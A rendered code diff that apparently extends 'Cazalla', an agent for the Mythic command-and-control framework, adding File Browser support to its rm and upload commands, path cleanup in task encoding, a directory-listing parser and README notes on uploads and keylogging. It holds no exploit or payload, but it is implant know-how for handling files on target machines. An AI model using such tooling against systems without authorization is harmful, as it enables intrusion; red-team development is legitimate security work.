||||||
|
|
||||||
async def parse_dictionary(self, dictionary):
|
async def parse_dictionary(self, dictionary):
|
||||||
|
logging.info(f"[rm] Parse Dictionary - {dictionary}")
|
||||||
|
# Load args first (will set path from dictionary)
|
||||||
self.load_args_from_dictionary(dictionary)
|
self.load_args_from_dictionary(dictionary)
|
||||||
|
|
||||||
|
# Then override with processed values if coming from File Browser
|
||||||
|
if "host" in dictionary:
|
||||||
|
# File Browser format
|
||||||
|
logging.info(f"[rm] Command came from File Browser UI - {dictionary}")
|
||||||
|
full_path = dictionary.get('full_path', '')
|
||||||
|
if full_path:
|
||||||
|
self.add_arg("path", full_path)
|
||||||
|
logging.info(f"[rm] Using full_path: {full_path}")
|
||||||
|
else:
|
||||||
|
path = dictionary.get("path", '')
|
||||||
|
file = dictionary.get("file", '')
|
||||||
|
if path and file:
|
||||||
|
# Combine path and file
|
||||||
|
if not path.endswith('\\') and not path.endswith('/'):
|
||||||
|
path = path + "\\"
|
||||||
|
combined_path = path + file
|
||||||
|
self.add_arg("path", combined_path)
|
||||||
|
logging.info(f"[rm] Combined path + file: {combined_path}")
|
||||||
|
elif path:
|
||||||
|
self.add_arg("path", path)
|
||||||
|
logging.info(f"[rm] Using path only: {path}")
|
||||||
|
else:
|
||||||
|
raise ValueError("[rm] File Browser request missing both path and file")
|
||||||
|
self.add_arg("host", dictionary.get("host", ""))
|
||||||
|
else:
|
||||||
|
# Command line usage - already loaded from dictionary, just verify
|
||||||
|
logging.info(f"[rm] Command came from CMDLINE - {dictionary}")
|
||||||
|
arg_path = self.get_arg("path")
|
||||||
|
if not arg_path:
|
||||||
|
arg_path = dictionary.get("path")
|
||||||
|
if arg_path:
|
||||||
|
self.add_arg("path", arg_path)
|
||||||
|
else:
|
||||||
|
raise ValueError("[rm] No path specified")
|
||||||
|
|
||||||
class RmCommand(CommandBase):
|
class RmCommand(CommandBase):
|
||||||
cmd = "rm"
|
cmd = "rm"
|
||||||
needs_admin = False
|
needs_admin = False
|
||||||
@@ -53,4 +92,25 @@ class RmCommand(CommandBase):
|
|||||||
|
|
||||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
|
||||||
|
# Check if removal was successful by checking user_output
|
||||||
|
if response:
|
||||||
|
user_output = response.get("user_output", "")
|
||||||
|
# If output doesn't contain error indicators, assume success
|
||||||
|
if user_output and not any(err in user_output.lower() for err in ["error", "failed", "cannot", "cannot"]):
|
||||||
|
# Get the path that was deleted
|
||||||
|
path = task.args.get_arg("path")
|
||||||
|
if path:
|
||||||
|
# Get hostname
|
||||||
|
host = task.Callback.Host if task.Callback else ""
|
||||||
|
|
||||||
|
# Add removed_files array to response (merge with existing response)
|
||||||
|
resp.ProcessResponse = response if isinstance(response, dict) else {}
|
||||||
|
resp.ProcessResponse["removed_files"] = [
|
||||||
|
{
|
||||||
|
"host": host,
|
||||||
|
"path": path
|
||||||
|
}
|
||||||
|
]
|
||||||
|
|
||||||
return resp
|
return resp
|
||||||
@@ -55,6 +55,7 @@ class UploadCommand(CommandBase):
|
|||||||
help_cmd = "upload <file> <path>"
|
help_cmd = "upload <file> <path>"
|
||||||
description = "Upload a file from the Mythic server to the target"
|
description = "Upload a file from the Mythic server to the target"
|
||||||
version = 1
|
version = 1
|
||||||
|
supported_ui_features = ["file_browser:upload"]
|
||||||
author = "@KaseyaOFSTeam"
|
author = "@KaseyaOFSTeam"
|
||||||
argument_class = UploadArguments
|
argument_class = UploadArguments
|
||||||
|
|
||||||
@@ -79,12 +80,36 @@ class UploadCommand(CommandBase):
|
|||||||
file_info = file_search.Files[0]
|
file_info = file_search.Files[0]
|
||||||
filename = file_info.Filename
|
filename = file_info.Filename
|
||||||
|
|
||||||
|
# Normalize path: replace double backslashes with single backslash
|
||||||
|
if path:
|
||||||
|
while "\\\\" in path:
|
||||||
|
path = path.replace("\\\\", "\\")
|
||||||
|
|
||||||
# If path is empty, use current directory + filename
|
# If path is empty, use current directory + filename
|
||||||
if not path or path.strip() == "":
|
if not path or path.strip() == "":
|
||||||
path = ".\\" + filename
|
path = ".\\" + filename
|
||||||
# If path ends with backslash or forward slash, append filename
|
# If path ends with backslash or forward slash, append filename
|
||||||
elif path.endswith("\\") or path.endswith("/"):
|
elif path.endswith("\\") or path.endswith("/"):
|
||||||
path = path.rstrip("\\/") + "\\" + filename
|
path = path.rstrip("\\/") + "\\" + filename
|
||||||
|
# If path doesn't end with a backslash, check if it's a directory
|
||||||
|
# If it's a directory (or looks like one), append filename
|
||||||
|
else:
|
||||||
|
import os
|
||||||
|
path_normalized = path.rstrip("\\/")
|
||||||
|
|
||||||
|
# Get the last component of the path (filename or directory name)
|
||||||
|
path_basename = os.path.basename(path_normalized)
|
||||||
|
|
||||||
|
# Heuristic: If the basename doesn't have a file extension,
|
||||||
|
# or if it's just a drive letter (like "C:"), treat as directory
|
||||||
|
has_extension = '.' in path_basename
|
||||||
|
is_drive_letter = len(path_basename) == 2 and path_basename[1] == ':'
|
||||||
|
|
||||||
|
# If no extension and not empty, likely a directory - append filename
|
||||||
|
# Also treat drive letters as directories
|
||||||
|
if is_drive_letter or (not has_extension and path_basename):
|
||||||
|
path = path_normalized + "\\" + filename
|
||||||
|
# Otherwise, assume it's already a full file path and use as-is
|
||||||
|
|
||||||
response.DisplayParams = f"file_id: {file_id}, path: {path}, filename: {filename}"
|
response.DisplayParams = f"file_id: {file_id}, path: {path}, filename: {filename}"
|
||||||
# Update the path argument with the final path (including filename if needed)
|
# Update the path argument with the final path (including filename if needed)
|
||||||
|
|||||||
@@ -62,18 +62,30 @@ def responseTasking(tasks):
|
|||||||
data = command_code + task_id
|
data = command_code + task_id
|
||||||
if task["parameters"] != "":
|
if task["parameters"] != "":
|
||||||
parameters = json.loads(task["parameters"])
|
parameters = json.loads(task["parameters"])
|
||||||
# Normalize paths for upload command - replace double backslashes
|
# Normalize paths for upload and ls commands - replace double backslashes
|
||||||
if command_to_run == "upload" and "path" in parameters:
|
if command_to_run in ["upload", "ls", "download", "rm", "cat", "mkdir", "cp"] and "path" in parameters:
|
||||||
path = parameters["path"]
|
path = parameters["path"]
|
||||||
if path:
|
if path:
|
||||||
# Replace all sequences of double backslashes with single backslash
|
# Replace all sequences of double backslashes with single backslash
|
||||||
while "\\\\" in path:
|
while "\\\\" in path:
|
||||||
path = path.replace("\\\\", "\\")
|
path = path.replace("\\\\", "\\")
|
||||||
|
# Ensure path doesn't have trailing nulls or invalid characters
|
||||||
|
path = path.rstrip('\x00')
|
||||||
parameters["path"] = path
|
parameters["path"] = path
|
||||||
|
print(f"[DEBUG] Normalized path for {command_to_run}: {repr(path)}")
|
||||||
data += len(parameters).to_bytes(4,"big")
|
data += len(parameters).to_bytes(4,"big")
|
||||||
for param in parameters:
|
for param in parameters:
|
||||||
data += len(parameters[param]).to_bytes(4, "big")
|
param_value = parameters[param]
|
||||||
data += parameters[param].encode()
|
# Ensure parameter is a string and doesn't contain null bytes
|
||||||
|
if isinstance(param_value, str):
|
||||||
|
param_value = param_value.rstrip('\x00')
|
||||||
|
param_bytes = param_value.encode('utf-8')
|
||||||
|
# Remove any null bytes from the encoded string
|
||||||
|
param_bytes = param_bytes.replace(b'\x00', b'')
|
||||||
|
else:
|
||||||
|
param_bytes = str(param_value).encode('utf-8')
|
||||||
|
data += len(param_bytes).to_bytes(4, "big")
|
||||||
|
data += param_bytes
|
||||||
else:
|
else:
|
||||||
data += b"\x00\x00\x00\x00"
|
data += b"\x00\x00\x00\x00"
|
||||||
|
|
||||||
|
|||||||
@@ -167,6 +167,146 @@ def parse_process_list(output_text):
|
|||||||
return processes
|
return processes
|
||||||
|
|
||||||
|
|
||||||
|
def parse_file_browser_list(output_text):
|
||||||
|
"""
|
||||||
|
Parsea el texto tab-separated de lista de archivos al formato JSON del File Browser.
|
||||||
|
Formato esperado del agente: path\nD/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME\n...
|
||||||
|
Formato requerido por Mythic File Browser según docs:
|
||||||
|
https://docs.mythic-c2.net/customizing/hooking-features/file-browser
|
||||||
|
"""
|
||||||
|
import os
|
||||||
|
from datetime import datetime
|
||||||
|
import re
|
||||||
|
|
||||||
|
lines = [l.strip() for l in output_text.strip().split('\n') if l.strip()]
|
||||||
|
if len(lines) < 2:
|
||||||
|
return None
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Primera línea es el path del directorio
|
||||||
|
dir_path = lines[0].strip()
|
||||||
|
|
||||||
|
# Normalize path
|
||||||
|
if dir_path.endswith('\\*'):
|
||||||
|
dir_path = dir_path[:-2]
|
||||||
|
if dir_path.endswith('*'):
|
||||||
|
dir_path = dir_path[:-1]
|
||||||
|
dir_path = dir_path.rstrip('\\/')
|
||||||
|
|
||||||
|
# Determine parent path
|
||||||
|
if dir_path.endswith(':\\') or dir_path == '':
|
||||||
|
parent_path = ""
|
||||||
|
else:
|
||||||
|
parent_path = os.path.dirname(dir_path) if os.path.dirname(dir_path) else ""
|
||||||
|
|
||||||
|
# Determine name
|
||||||
|
name = os.path.basename(dir_path) if dir_path else ""
|
||||||
|
if not name:
|
||||||
|
if len(dir_path) == 2 and dir_path[1] == ':':
|
||||||
|
name = dir_path[0] + ':'
|
||||||
|
parent_path = ""
|
||||||
|
else:
|
||||||
|
name = dir_path
|
||||||
|
|
||||||
|
# Parse file/directory entries
|
||||||
|
# Format: D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
|
||||||
|
files = []
|
||||||
|
for line in lines[1:]:
|
||||||
|
parts = line.split('\t')
|
||||||
|
if len(parts) >= 4:
|
||||||
|
file_type = parts[0].strip() # D or F
|
||||||
|
size_str = parts[1].strip()
|
||||||
|
datetime_str = parts[2].strip()
|
||||||
|
file_name = parts[3].strip() if len(parts) > 3 else ""
|
||||||
|
|
||||||
|
# Skip empty or invalid entries
|
||||||
|
if not file_type or not file_name:
|
||||||
|
continue
|
||||||
|
|
||||||
|
# Skip . and ..
|
||||||
|
if file_name in ['.', '..']:
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Parse date: MM/DD/YYYY HH:MM:SS
|
||||||
|
date_obj = datetime.strptime(datetime_str, "%m/%d/%Y %H:%M:%S")
|
||||||
|
modify_time_ms = int(date_obj.timestamp() * 1000)
|
||||||
|
access_time_ms = modify_time_ms
|
||||||
|
|
||||||
|
# Filter out invalid dates (before 1980 or after year 2100)
|
||||||
|
# This helps filter out files with corrupted timestamps (e.g., 1970 epoch issues)
|
||||||
|
if modify_time_ms < 315532800000 or modify_time_ms > 4102444800000: # Before 1980-01-01 or after 2100-01-01
|
||||||
|
print(f"[FILE_BROWSER] Skipping file with invalid date: {file_name} (timestamp: {modify_time_ms})")
|
||||||
|
continue
|
||||||
|
except:
|
||||||
|
modify_time_ms = 0
|
||||||
|
access_time_ms = 0
|
||||||
|
# Skip files with unparseable dates
|
||||||
|
print(f"[FILE_BROWSER] Skipping file with unparseable date: {file_name}")
|
||||||
|
continue
|
||||||
|
|
||||||
|
try:
|
||||||
|
# Parse size - remove any non-digit characters
|
||||||
|
size_str_clean = re.sub(r'[^\d]', '', size_str)
|
||||||
|
if size_str_clean:
|
||||||
|
size = int(size_str_clean) if file_type == 'F' else 0
|
||||||
|
else:
|
||||||
|
size = 0
|
||||||
|
except:
|
||||||
|
size = 0
|
||||||
|
|
||||||
|
permissions = {
|
||||||
|
"attributes": "DIRECTORY" if file_type == 'D' else "FILE"
|
||||||
|
}
|
||||||
|
|
||||||
|
files.append({
|
||||||
|
"is_file": file_type == 'F',
|
||||||
|
"permissions": permissions,
|
||||||
|
"name": file_name,
|
||||||
|
"access_time": access_time_ms,
|
||||||
|
"modify_time": modify_time_ms,
|
||||||
|
"size": size
|
||||||
|
})
|
||||||
|
|
||||||
|
# Build file_browser response
|
||||||
|
# Remove any duplicate files by name to ensure clean response
|
||||||
|
seen_files = {}
|
||||||
|
unique_files = []
|
||||||
|
for f in files:
|
||||||
|
file_name = f.get("name", "")
|
||||||
|
# Only add if we haven't seen this file name before
|
||||||
|
if file_name and file_name not in seen_files:
|
||||||
|
seen_files[file_name] = True
|
||||||
|
unique_files.append(f)
|
||||||
|
|
||||||
|
# Use current timestamp for modify_time to help Mythic identify fresh responses
|
||||||
|
import time
|
||||||
|
current_timestamp_ms = int(time.time() * 1000)
|
||||||
|
|
||||||
|
file_browser_data = {
|
||||||
|
"host": "", # Will be filled by Mythic based on callback
|
||||||
|
"is_file": False,
|
||||||
|
"permissions": {"attributes": "DIRECTORY"},
|
||||||
|
"name": name,
|
||||||
|
"parent_path": parent_path,
|
||||||
|
"success": True,
|
||||||
|
"access_time": current_timestamp_ms, # Use current time to help with cache invalidation
|
||||||
|
"modify_time": current_timestamp_ms, # Use current time to help with cache invalidation
|
||||||
|
"size": 0,
|
||||||
|
"update_deleted": True, # Tell Mythic this is the complete list - mark missing files as deleted
|
||||||
|
"files": unique_files # Use deduplicated files list - complete and fresh
|
||||||
|
}
|
||||||
|
|
||||||
|
print(f"[FILE_BROWSER] Sending fresh listing for '{name}' with {len(unique_files)} unique files (timestamp: {current_timestamp_ms}, update_deleted=True)")
|
||||||
|
|
||||||
|
return file_browser_data
|
||||||
|
except Exception as e:
|
||||||
|
print(f"[ERROR] Error parseando lista de archivos: {e}")
|
||||||
|
import traceback
|
||||||
|
traceback.print_exc()
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
def postResponse(data):
|
def postResponse(data):
|
||||||
print(f"Tamaño del Base64 recibido: {len(data)} bytes")
|
print(f"Tamaño del Base64 recibido: {len(data)} bytes")
|
||||||
print(f"[DEBUG] Primeros 100 bytes (hex): {data[:100].hex()}")
|
print(f"[DEBUG] Primeros 100 bytes (hex): {data[:100].hex()}")
|
||||||
@@ -681,6 +821,32 @@ def postResponse(data):
|
|||||||
jsonTask["processes"] = processes
|
jsonTask["processes"] = processes
|
||||||
print(f"[PROCESS_BROWSER] Respuesta convertida al formato Process Browser con {len(processes)} procesos")
|
print(f"[PROCESS_BROWSER] Respuesta convertida al formato Process Browser con {len(processes)} procesos")
|
||||||
|
|
||||||
|
# Detectar y convertir formato File Browser (formato: path\nD/F\tSIZE\tDATE\tNAME)
|
||||||
|
# El formato del agente es: primera línea es el path, luego líneas con D/F\tSIZE\tMM/DD/YYYY HH:MM:SS\tNAME
|
||||||
|
# Solo procesar si NO es una lista de procesos (para evitar conflictos)
|
||||||
|
file_browser_data = None
|
||||||
|
if not is_process_list and decoded_output and '\t' in decoded_output and '\n' in decoded_output:
|
||||||
|
lines = [l.strip() for l in decoded_output.strip().split('\n') if l.strip()]
|
||||||
|
if len(lines) >= 2:
|
||||||
|
# Verificar si el formato es de lista de archivos
|
||||||
|
# Primera línea debería ser un path (contiene :\ o \\)
|
||||||
|
first_line = lines[0]
|
||||||
|
# Segunda línea debería empezar con D o F seguido de tab
|
||||||
|
if len(lines) > 1:
|
||||||
|
second_line = lines[1]
|
||||||
|
parts = second_line.split('\t')
|
||||||
|
# Verificar formato: D/F\tSIZE\tDATE\tNAME
|
||||||
|
# DATE debería tener formato MM/DD/YYYY HH:MM:SS (contiene / y :)
|
||||||
|
if (len(parts) >= 4 and
|
||||||
|
parts[0].strip() in ['D', 'F'] and
|
||||||
|
'/' in parts[2] and ':' in parts[2] and
|
||||||
|
(':' in first_line or '\\' in first_line)):
|
||||||
|
print(f"[FILE_BROWSER] Detectado formato de lista de archivos, parseando...")
|
||||||
|
file_browser_data = parse_file_browser_list(decoded_output)
|
||||||
|
if file_browser_data:
|
||||||
|
jsonTask["file_browser"] = file_browser_data
|
||||||
|
print(f"[FILE_BROWSER] Respuesta convertida al formato File Browser con {len(file_browser_data.get('files', []))} archivos/carpetas")
|
||||||
|
|
||||||
# Support for artifacts: create artifacts from parsed data
|
# Support for artifacts: create artifacts from parsed data
|
||||||
artifacts = []
|
artifacts = []
|
||||||
|
|
||||||
|
|||||||
@@ -27,7 +27,7 @@
|
|||||||
- [Credentials Support](#credentials-support)
|
- [Credentials Support](#credentials-support)
|
||||||
- [File Downloads Support](#file-downloads-support)
|
- [File Downloads Support](#file-downloads-support)
|
||||||
- [File Uploads Support](#file-uploads-support)
|
- [File Uploads Support](#file-uploads-support)
|
||||||
- [⌨️ Keylogging Support](#%EF%B8%8F-keylogging-support)
|
- [Keylogging Support](#%EF%B8%8F-keylogging-support)
|
||||||
- [Development](#development)
|
- [Development](#development)
|
||||||
- [Troubleshooting](#troubleshooting)
|
- [Troubleshooting](#troubleshooting)
|
||||||
- [Credits](#credits)
|
- [Credits](#credits)
|
||||||
@@ -905,9 +905,11 @@ Cazalla supports uploading files from the Mythic server to the target using chun
|
|||||||
|
|
||||||
- **Chunked File Transfers**: Large files are automatically split into chunks (512KB default) for efficient transfer
|
- **Chunked File Transfers**: Large files are automatically split into chunks (512KB default) for efficient transfer
|
||||||
- **Automatic Path Normalization**: Automatically handles path formatting (normalizes double backslashes)
|
- **Automatic Path Normalization**: Automatically handles path formatting (normalizes double backslashes)
|
||||||
- **Smart Path Handling**: Automatically appends filename when path is a directory
|
- **Smart Path Handling**: Automatically appends filename when path is a directory or doesn't have a file extension
|
||||||
|
- **File Browser Integration**: Fully integrated with Mythic's File Browser UI - upload files directly from the browser
|
||||||
- **Progress Tracking**: Mythic tracks upload progress (chunks sent/total chunks)
|
- **Progress Tracking**: Mythic tracks upload progress (chunks sent/total chunks)
|
||||||
- **File Write Artifacts**: Automatically reports File Write artifacts when files are uploaded
|
- **File Write Artifacts**: Automatically reports File Write artifacts when files are uploaded
|
||||||
|
- **Parent Directory Creation**: Automatically creates parent directories if they don't exist
|
||||||
|
|
||||||
### How It Works
|
### How It Works
|
||||||
|
|
||||||
@@ -927,14 +929,34 @@ Cazalla supports uploading files from the Mythic server to the target using chun
|
|||||||
|
|
||||||
### Using the Upload Command
|
### Using the Upload Command
|
||||||
|
|
||||||
|
#### From Command Line
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Upload a file to the target
|
# Upload a file to the target
|
||||||
# Select file from Mythic UI file selector, then specify destination path
|
# Select file from Mythic UI file selector, then specify destination path
|
||||||
upload <file> C:\Users\localuser\Downloads\file.txt
|
upload <file_id> C:\Users\localuser\Downloads\file.txt
|
||||||
|
|
||||||
|
# If path is a directory, filename is automatically appended
|
||||||
|
upload <file_id> C:\Users\localuser\Downloads
|
||||||
|
# → Automatically becomes: C:\Users\localuser\Downloads\<filename>
|
||||||
|
|
||||||
# Uploads are chunked automatically - Mythic will show progress
|
# Uploads are chunked automatically - Mythic will show progress
|
||||||
```
|
```
|
||||||
|
|
||||||
|
#### From File Browser UI
|
||||||
|
|
||||||
|
The `upload` command is fully integrated with Mythic's File Browser:
|
||||||
|
|
||||||
|
1. Navigate to **Files** icon in the top navigation
|
||||||
|
2. Browse to the target directory where you want to upload
|
||||||
|
3. Click the **Upload** button (or right-click on a directory)
|
||||||
|
4. Select the file from your local system
|
||||||
|
5. The agent automatically detects if the path is a directory and appends the filename
|
||||||
|
|
||||||
|
**Note**: When uploading from the File Browser, you can specify:
|
||||||
|
- A full file path: `C:\Users\localuser\Downloads\file.txt` → Uploads to exact path
|
||||||
|
- A directory path: `C:\Users\localuser\Downloads` → Automatically appends filename from source file
|
||||||
|
|
||||||
### Upload Process
|
### Upload Process
|
||||||
|
|
||||||
1. **Request**: Agent sends upload request to Mythic for each chunk:
|
1. **Request**: Agent sends upload request to Mythic for each chunk:
|
||||||
@@ -969,12 +991,22 @@ Mythic: File Write artifact created
|
|||||||
|
|
||||||
### Path Handling
|
### Path Handling
|
||||||
|
|
||||||
The upload command includes smart path handling:
|
The upload command includes smart path handling with multiple detection methods:
|
||||||
|
|
||||||
- **Normalization**: Automatically normalizes double backslashes (`C:\\\\Users` → `C:\Users`)
|
- **Normalization**: Automatically normalizes double backslashes (`C:\\\\Users` → `C:\Users`)
|
||||||
- **Directory Detection**: If the path is a directory, automatically appends the filename from Mythic
|
- **Invalid Character Cleaning**: Removes null bytes, carriage returns, newlines, and other invalid characters
|
||||||
- **Full Path Resolution**: Uses `GetFullPathName` to resolve relative paths to absolute paths
|
- **Directory Detection**: Multiple heuristics to detect directories:
|
||||||
- **Error Handling**: Clear error messages for invalid paths, access denied, or directory issues
|
- Path ends with `\` or `/` → Treated as directory, filename appended
|
||||||
|
- Path has no file extension in the last component → Treated as directory, filename appended
|
||||||
|
- Path is a drive letter (e.g., `C:`) → Treated as directory, filename appended
|
||||||
|
- Path exists and is a directory → Treated as directory, error reported if no filename
|
||||||
|
- **Full Path Resolution**: Uses `GetFullPathNameA` to resolve relative paths to absolute paths
|
||||||
|
- **Parent Directory Creation**: Automatically creates parent directories if they don't exist
|
||||||
|
- **Error Handling**: Clear error messages for:
|
||||||
|
- Invalid paths (Error 123: invalid filename syntax)
|
||||||
|
- Directory without filename specified
|
||||||
|
- Access denied errors
|
||||||
|
- Path not found errors
|
||||||
|
|
||||||
### Implementation Details
|
### Implementation Details
|
||||||
|
|
||||||
@@ -987,10 +1019,13 @@ The upload system uses:
|
|||||||
### Error Handling
|
### Error Handling
|
||||||
|
|
||||||
The upload command handles various error scenarios:
|
The upload command handles various error scenarios:
|
||||||
- **Invalid Path**: Returns error if path is invalid or malformed
|
- **Invalid Path (Error 123)**: Returns error if path contains invalid characters or malformed syntax
|
||||||
- **Directory as Path**: Detects and reports error if path is a directory without filename
|
- Automatically cleans null bytes, control characters, and invalid path characters
|
||||||
|
- Handles UNC paths (`\\server\share`) correctly
|
||||||
|
- **Directory as Path**: Detects and reports clear error if path is a directory without filename
|
||||||
|
- Error message: "El path es un directorio existente. Especifique un nombre de archivo"
|
||||||
- **Access Denied**: Returns Windows error code if file cannot be created/written
|
- **Access Denied**: Returns Windows error code if file cannot be created/written
|
||||||
- **Path Not Found**: Returns error if parent directory does not exist
|
- **Path Not Found**: Automatically creates parent directories, or returns error if creation fails
|
||||||
|
|
||||||
### Viewing Upload Artifacts
|
### Viewing Upload Artifacts
|
||||||
|
|
||||||
@@ -999,7 +1034,23 @@ The upload command handles various error scenarios:
|
|||||||
3. Filter by "File Write" artifact type
|
3. Filter by "File Write" artifact type
|
||||||
4. View all files that were uploaded, including file paths and timestamps
|
4. View all files that were uploaded, including file paths and timestamps
|
||||||
|
|
||||||
For more information, see the [Mythic File Upload documentation](https://docs.mythic-c2.net/customizing/hooking-features/action-upload).
|
### File Browser Integration
|
||||||
|
|
||||||
|
The `upload` command supports Mythic's File Browser UI feature (`file_browser:upload`):
|
||||||
|
|
||||||
|
- **Seamless Integration**: Upload files directly from the File Browser interface
|
||||||
|
- **Smart Path Resolution**: Automatically handles directory paths from File Browser
|
||||||
|
- **Progress Tracking**: Real-time progress visible in Mythic UI
|
||||||
|
- **Artifact Tracking**: All uploads automatically logged as "File Write" artifacts
|
||||||
|
|
||||||
|
**How it works**:
|
||||||
|
1. File Browser sends `path` parameter with directory path (e.g., `C:\Users\localuser\Downloads`)
|
||||||
|
2. Python `upload.py` detects the path is a directory (no file extension)
|
||||||
|
3. Retrieves the original filename from the `file_id` via Mythic RPC
|
||||||
|
4. Automatically appends filename to directory path
|
||||||
|
5. Sends complete path to agent: `C:\Users\localuser\Downloads\config.json`
|
||||||
|
|
||||||
|
For more information, see the [Mythic File Upload documentation](https://docs.mythic-c2.net/customizing/hooking-features/action-upload) and [File Browser documentation](https://docs.mythic-c2.net/customizing/hooking-features/file-browser).
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user